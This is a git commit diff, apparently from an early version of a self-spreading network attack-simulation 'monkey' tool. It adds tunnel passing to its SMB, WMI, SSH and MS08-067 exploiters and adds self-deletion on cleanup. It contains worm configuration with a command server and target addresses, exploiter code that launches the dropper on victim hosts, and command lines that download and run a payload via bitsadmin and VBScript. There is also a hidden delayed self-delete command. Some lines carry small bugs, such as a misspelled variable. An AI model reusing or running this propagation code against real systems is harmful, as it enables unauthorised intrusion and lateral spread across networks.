added default tunnel is the exploiter

added self delete on cleanup
fixed argument parsing
This commit is contained in:
Barak Hoffer 2015-10-14 17:22:05 +03:00
parent fe146c13cc
commit 6169f1f42e
11 changed files with 97 additions and 41 deletions

View File

@ -98,17 +98,19 @@ class Configuration(object):
alive = True
self_delete_in_cleanup = True
singleton_mutex_name = "{2384ec59-0df8-4ab9-918c-843740924a28}"
# how long to wait between scan iterations
timeout_between_iterations = 10
timeout_between_iterations = 300
# how many scan iterations to perform on each run
max_iterations = 3
scanner_class = TcpScanner
finger_classes = (PingScanner, SSHFinger, SMBFinger)
exploiter_classes = (SSHExploiter, SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter)
finger_classes = (SMBFinger, SSHFinger, PingScanner)
exploiter_classes = (SmbExploiter, WmiExploiter, RdpExploiter, Ms08_067_Exploiter, SSHExploiter)
# how many victims to look for in a single scan iteration
victims_max_find = 14
@ -120,7 +122,9 @@ class Configuration(object):
command_servers = ["russian-mail-brides.com:5000"]
serialize_config = True
serialize_config = False
retry_failed_explotation = True
###########################
### scanners config
@ -130,10 +134,10 @@ class Configuration(object):
#range_class = RelativeRange
range_size = 8
range_class = FixedRange
range_fixed = ("10.0.0.9", "10.0.0.13", "192.168.1.87")
range_fixed = ("10.0.0.9", "10.0.0.13", "192.168.1.100", "192.168.1.95", "50.50.50.56", "50.50.50.4")
# TCP Scanner
tcp_target_ports = [22, 445, 135, 3389]
tcp_target_ports = [22, 2222, 445, 135, 3389]
tcp_scan_timeout = 3000 # 3000 Milliseconds
tcp_scan_interval = 200
tcp_scan_get_banner = True

View File

@ -23,7 +23,7 @@ class ControlClient(object):
proxies = {}
@staticmethod
def wakeup(parent=None):
def wakeup(parent=None, default_tunnel=None):
for server in WormConfiguration.command_servers:
try:
hostname = gethostname()
@ -59,7 +59,7 @@ class ControlClient(object):
if not WormConfiguration.current_server:
if not ControlClient.proxies:
LOG.info("Starting tunnel lookup...")
proxy_find = tunnel.find_tunnel()
proxy_find = tunnel.find_tunnel(default=default_tunnel)
if proxy_find:
LOG.info("Found tunnel at %s:%s" % proxy_find)
ControlClient.proxies['https'] = 'https://%s:%s' % proxy_find

View File

@ -102,6 +102,9 @@ class SmbExploiter(HostExploiter):
else:
cmdline = MONKEY_CMDLINE_DETACHED % {'monkey_path': remote_full_path}
if host.default_tunnel:
cmdline += " -t " + host.default_tunnel
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (host.ip_addr, ))
rpctransport.set_dport(port)

View File

@ -116,7 +116,11 @@ class SSHExploiter(HostExploiter):
return False
try:
cmdline = "%s %s&" % (self._config.dropper_target_path_linux, MONKEY_ARG)
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
if host.default_tunnel:
cmdline += " -t " + host.default_tunnel
cmdline += "&"
ssh.exec_command(cmdline)
LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)",

View File

@ -250,6 +250,8 @@ class Ms08_067_Exploiter(HostExploiter):
else:
cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}
if host.default_tunnel:
cmdline += " -t " + host.default_tunnel
try:
sock.send("start %s\r\n" % (cmdline, ))

View File

@ -84,6 +84,9 @@ class WmiExploiter(HostExploiter):
else:
cmdline = MONKEY_CMDLINE % {'monkey_path': remote_full_path}
if host.default_tunnel:
cmdline += " -t " + host.default_tunnel
# execute the remote monkey
result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
ntpath.split(remote_full_path)[0],

View File

@ -1,4 +1,3 @@
import os
import sys
import logging
@ -8,7 +7,7 @@ from config import WormConfiguration, EXTERNAL_CONFIG_FILE
from model import MONKEY_ARG, DROPPER_ARG
from dropper import MonkeyDrops
from monkey import ChaosMonkey
import getopt
import argparse
import json
__author__ = 'itamar'
@ -44,11 +43,11 @@ def main():
config_file = EXTERNAL_CONFIG_FILE
opts, monkey_args = getopt.getopt(sys.argv[2:], "c:", ["config="])
for op, val in opts:
if op in ("-c", "--config"):
config_file = val
break
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('-c', '--config')
opts, monkey_args = arg_parser.parse_known_args(sys.argv[2:])
if opts.config:
config_file = ops.config
if os.path.isfile(config_file):
# using print because config can also change log locations

View File

@ -9,5 +9,6 @@ MONKEY_CMDLINE_DETACHED = 'cmd /c start cmd /c %%(monkey_path)s %s' % (MONKEY_AR
MONKEY_CMDLINE_HTTP = 'cmd.exe /c "bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&cmd /c %%(monkey_path)s %s"' % (MONKEY_ARG, )
RDP_CMDLINE_HTTP_BITS = 'bitsadmin /transfer Update /download /priority high %%(http_path)s %%(monkey_path)s&&start /b %%(monkey_path)s %s' % (MONKEY_ARG, )
RDP_CMDLINE_HTTP_VBS = 'set o=!TMP!\!RANDOM!.tmp&@echo Set objXMLHTTP=CreateObject("MSXML2.XMLHTTP")>!o!&@echo objXMLHTTP.open "GET","%%(http_path)s",false>>!o!&@echo objXMLHTTP.send()>>!o!&@echo If objXMLHTTP.Status=200 Then>>!o!&@echo Set objADOStream=CreateObject("ADODB.Stream")>>!o!&@echo objADOStream.Open>>!o!&@echo objADOStream.Type=1 >>!o!&@echo objADOStream.Write objXMLHTTP.ResponseBody>>!o!&@echo objADOStream.Position=0 >>!o!&@echo objADOStream.SaveToFile "%%(monkey_path)s">>!o!&@echo objADOStream.Close>>!o!&@echo Set objADOStream=Nothing>>!o!&@echo End if>>!o!&@echo Set objXMLHTTP=Nothing>>!o!&@echo Set objShell=CreateObject("WScript.Shell")>>!o!&@echo objShell.Run "%%(monkey_path)s %s", 0, false>>!o!&start /b cmd /c cscript.exe //E:vbscript !o!^&del /f /q !o!' % (MONKEY_ARG, )
DELAY_DELETE_CMD = 'cmd /c (for /l %%i in (1,0,2) do (ping -n 60 127.0.0.1 & del /f /q %(file_path)s & if not exist %(file_path)s exit)) > NUL 2>&1'
from host import VictimHost

View File

@ -7,6 +7,7 @@ class VictimHost(object):
self.os = {}
self.services = {}
self.monkey_exe = None
self.default_tunnel = None
def as_dict(self):
return self.__dict__

View File

@ -1,5 +1,5 @@
import sys
import os
import time
import logging
import platform
@ -9,7 +9,9 @@ from control import ControlClient
from config import WormConfiguration, EXTERNAL_CONFIG_FILE
from network.network_scanner import NetworkScanner
import tunnel
import getopt
import argparse
import subprocess
from model import DELAY_DELETE_CMD
__author__ = 'itamar'
@ -31,6 +33,7 @@ class ChaosMonkey(object):
self._fail_exploitation_machines = set()
self._singleton = SystemSingleton()
self._parent = None
self._default_tunnel = None
self._args = args
def initialize(self):
@ -39,12 +42,13 @@ class ChaosMonkey(object):
if not self._singleton.try_lock():
raise Exception("Another instance of the monkey is already running")
opts, self._args = getopt.getopt(self._args, "p:", ["parent="])
for op, val in opts:
if op in ("-p", "--parent"):
self._parent = val
break
arg_parser = argparse.ArgumentParser()
arg_parser.add_argument('-p', '--parent')
arg_parser.add_argument('-t', '--tunnel')
opts, self._args = arg_parser.parse_known_args(self._args)
self._parent = opts.parent
self._default_tunnel = opts.tunnel
self._keep_running = True
self._network = NetworkScanner()
self._dropper_path = sys.argv[0]
@ -56,7 +60,7 @@ class ChaosMonkey(object):
if firewall.is_enabled():
firewall.add_firewall_rule()
ControlClient.wakeup(self._parent)
ControlClient.wakeup(parent=self._parent, default_tunnel=self._default_tunnel)
monkey_tunnel = ControlClient.create_control_tunnel()
if monkey_tunnel:
@ -93,11 +97,19 @@ class ChaosMonkey(object):
machine)
continue
elif machine in self._fail_exploitation_machines:
LOG.debug("Skipping %r - exploitation failed before",
machine)
continue
if WormConfiguration.retry_failed_explotation:
LOG.debug("%r - exploitation failed before, trying again",
machine)
else:
LOG.debug("Skipping %r - exploitation failed before",
machine)
continue
successful_exploiter = None
if monkey_tunnel:
monkey_tunnel.set_tunnel_for_host(machine)
for exploiter in self._exploiters:
if not exploiter.is_os_supported(machine):
LOG.info("Skipping exploiter %s host:%r, os is not supported",
@ -139,8 +151,10 @@ class ChaosMonkey(object):
time.sleep(WormConfiguration.timeout_between_iterations)
if self._keep_running:
if self._keep_running and WormConfiguration.alive:
LOG.info("Reached max iterations (%d)", WormConfiguration.max_iterations)
elif not WormConfiguration.alive:
LOG.info("Marked not alive from configuration")
if monkey_tunnel:
monkey_tunnel.stop()
@ -157,3 +171,18 @@ class ChaosMonkey(object):
tunnel.quit_tunnel(tunnel_address)
firewall.close()
if WormConfiguration.self_delete_in_cleanup and -1 == sys.executable.find('python'):
try:
if "win32" == sys.platform:
from _subprocess import SW_HIDE, STARTF_USESHOWWINDOW, CREATE_NEW_CONSOLE
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags = CREATE_NEW_CONSOLE | STARTF_USESHOWWINDOW
startupinfo.wShowWindow = SW_HIDE
subprocess.Popen(DELAY_DELETE_CMD % {'file_path' : sys.executable},
stdin=None, stdout=None, stderr=None,
close_fds=True, startupinfo=startupinfo)
else:
os.remove(sys.executable)
except Exception, exc:
LOG.error("Exception in self delete: %s",exc)

View File

@ -6,6 +6,7 @@ from network.info import local_ips, get_free_tcp_port
from network.firewall import app as firewall
from difflib import get_close_matches
from network.tools import check_port_tcp
from model import VictimHost
import time
__author__ = 'hoffer'
@ -29,7 +30,7 @@ def _set_multicast_socket(timeout=DEFAULT_TIMEOUT):
return sock
def find_tunnel(attempts=3, timeout=DEFAULT_TIMEOUT):
def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
sock = _set_multicast_socket(timeout)
l_ips = local_ips()
@ -38,6 +39,8 @@ def find_tunnel(attempts=3, timeout=DEFAULT_TIMEOUT):
try:
sock.sendto("?", (MCAST_GROUP, MCAST_PORT))
tunnels = []
if default:
tunnels.append(default)
while True:
try:
@ -52,17 +55,18 @@ def find_tunnel(attempts=3, timeout=DEFAULT_TIMEOUT):
address, port = tunnel.split(':', 1)
if address in l_ips:
continue
LOG.debug("Checking tunnel %s:%d" % (address, port))
LOG.debug("Checking tunnel %s:%s", address, port)
is_open,_ = check_port_tcp(address, int(port))
if not is_open:
LOG.debug("Could not connect to %s:%d" % (address, port))
LOG.debug("Could not connect to %s:%s", address, port)
continue
sock.sendto("+", (address, MCAST_PORT))
sock.close()
return (address, port)
except:
except Exception, exc:
LOG.debug("Caught exception in tunnel lookup: %s", exc)
continue
return None
@ -87,6 +91,7 @@ class MonkeyTunnel(Thread):
self._timeout = timeout
self._stopped = False
self._clients = []
self.local_port = None
super(MonkeyTunnel, self).__init__()
self.daemon = True
@ -95,17 +100,17 @@ class MonkeyTunnel(Thread):
l_ips = local_ips()
local_port = get_free_tcp_port()
self.local_port = get_free_tcp_port()
if not local_port:
if not self.local_port:
return
if not firewall.listen_allowed(localport=local_port):
if not firewall.listen_allowed(localport=self.local_port):
LOG.info("Machine firewalled, listen not allowed, not running tunnel.")
return
proxy = self._proxy_class(local_port=local_port, dest_host=self._target_addr, dest_port=self._target_port)
LOG.info("Running tunnel using proxy class: %s, on port %s", proxy.__class__.__name__, local_port)
proxy = self._proxy_class(local_port=self.local_port, dest_host=self._target_addr, dest_port=self._target_port)
LOG.info("Running tunnel using proxy class: %s, on port %s", proxy.__class__.__name__, self.local_port)
proxy.start()
while not self._stopped:
@ -114,9 +119,9 @@ class MonkeyTunnel(Thread):
if '?' == search:
ip_match = get_close_matches(address[0], l_ips) or l_ips
if ip_match:
answer = '%s:%d' % (ip_match[0], local_port)
answer = '%s:%d' % (ip_match[0], self.local_port)
LOG.debug("Got tunnel request from %s, answering with %s", address[0], answer)
self._broad_sock.sendto(answer, (MCAST_GROUP, MCAST_PORT))
self._broad_sock.sendto(answer, (address[0], MCAST_PORT))
elif '+' == search:
if not address[0] in self._clients:
self._clients.append(address[0])
@ -140,5 +145,10 @@ class MonkeyTunnel(Thread):
proxy.stop()
proxy.join()
def set_tunnel_for_host(self, host):
assert isinstance(host, VictimHost)
ip_match = get_close_matches(host.ip_addr, local_ips()) or l_ips
host.default_tunnel = '%s:%d' % (ip_match[0], self.local_port)
def stop(self):
self._stopped = True